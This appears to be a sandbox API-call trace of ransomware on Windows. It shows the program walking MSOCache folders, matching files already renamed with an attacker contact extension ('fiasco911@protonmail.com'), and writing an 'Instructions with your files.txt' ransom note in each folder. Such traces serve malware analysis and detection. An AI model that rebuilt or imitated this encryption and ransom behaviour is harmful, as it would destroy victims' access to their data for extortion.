[0112.215] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0112.216] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0112.216] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0112.216] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0112.216] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0112.216] CloseHandle (hObject=0x110) returned 1
[0112.216] FindClose (in: hFindFile=0x82f300 | out: hFindFile=0x82f300) returned 1
[0112.216] GetProcessHeap () returned 0x810000
[0112.216] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x877be8 | out: hHeap=0x810000) returned 1
[0112.216] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x84f6e7a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x84f6e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1
[0112.216] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr") returned 75
[0112.216] GetProcessHeap () returned 0x810000
[0112.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x877be8
[0112.217] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*") returned 77
[0112.217] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x84f6e7a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x84f6e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f300
[0112.640] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\.") returned 77
[0112.640] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x84f6e7a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x84f6e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0112.640] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\..") returned 78
[0112.640] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84f6e7a0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x84f6e7a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x84f6e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0112.640] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Instructions with your files.txt") returned 108
[0112.640] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0112.640] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x84f224e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x1416c54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PROOFC~1.COM")) returned 1
[0112.640] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 127
[0112.640] StrStrIW (lpFirst="Proof.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.640] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x84f48640, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xd8500, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PROOFM~1.COM")) returned 1
[0112.640] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 127
[0112.640] StrStrIW (lpFirst="Proof.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.640] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x84f6e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PROOFX~1.COM")) returned 1
[0112.640] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 127
[0112.640] StrStrIW (lpFirst="Proof.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.640] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x84f6e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PROOFX~1.COM")) returned 0
[0112.640] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Instructions with your files.txt") returned 108
[0112.640] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0112.641] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0112.642] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0112.642] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0112.643] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0112.643] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0112.643] CloseHandle (hObject=0x110) returned 1
[0112.643] FindClose (in: hFindFile=0x82f300 | out: hFindFile=0x82f300) returned 1
[0112.643] GetProcessHeap () returned 0x810000
[0112.643] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x877be8 | out: hHeap=0x810000) returned 1
[0112.643] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x84fe0bc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xd4300, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PROOFI~1.COM")) returned 1
[0112.643] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0112.643] StrStrIW (lpFirst="Proofing.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.643] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x8585ba20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x42b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PROOFI~2.COM")) returned 1
[0112.643] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0112.643] StrStrIW (lpFirst="Proofing.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.643] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x85abd020, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x17fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 1
[0112.643] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0112.643] StrStrIW (lpFirst="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.643] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x85abd020, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x17fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 0
[0112.643] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0112.643] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0112.644] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0112.645] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0112.645] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0112.645] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0112.645] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0112.645] CloseHandle (hObject=0x10c) returned 1
[0112.645] FindClose (in: hFindFile=0x82f2c0 | out: hFindFile=0x82f2c0) returned 1
[0112.645] GetProcessHeap () returned 0x810000
[0112.645] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0112.645] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x85f7fc20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x85f7fc20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1
[0112.646] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C") returned 66
[0112.646] GetProcessHeap () returned 0x810000
[0112.646] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0112.646] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*") returned 68
[0112.646] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x85f7fc20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x85f7fc20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f2c0
[0112.675] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\.") returned 68
[0112.675] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0112.675] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x85f7fc20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x85f7fc20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0112.675] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\..") returned 69
[0112.675] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0112.675] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7fc20, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x85f7fc20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x85f7fc20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0112.675] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0112.675] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0112.675] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x85b2f440, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xd5700, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OFFICE~1.COM")) returned 1
[0112.675] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 124
[0112.676] StrStrIW (lpFirst="Office32MUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.676] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x85b2f440, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x667, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OFFICE~2.COM")) returned 1
[0112.676] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 124
[0112.676] StrStrIW (lpFirst="Office32MUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.676] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x85f59ac0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x2cb23b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OWOW32~1.COM")) returned 1
[0112.676] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0112.676] StrStrIW (lpFirst="OWOW32LR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.676] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x85f7fc20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xa3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 1
[0112.676] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0112.676] StrStrIW (lpFirst="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.676] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x85f7fc20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xa3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 0
[0112.676] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0112.676] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
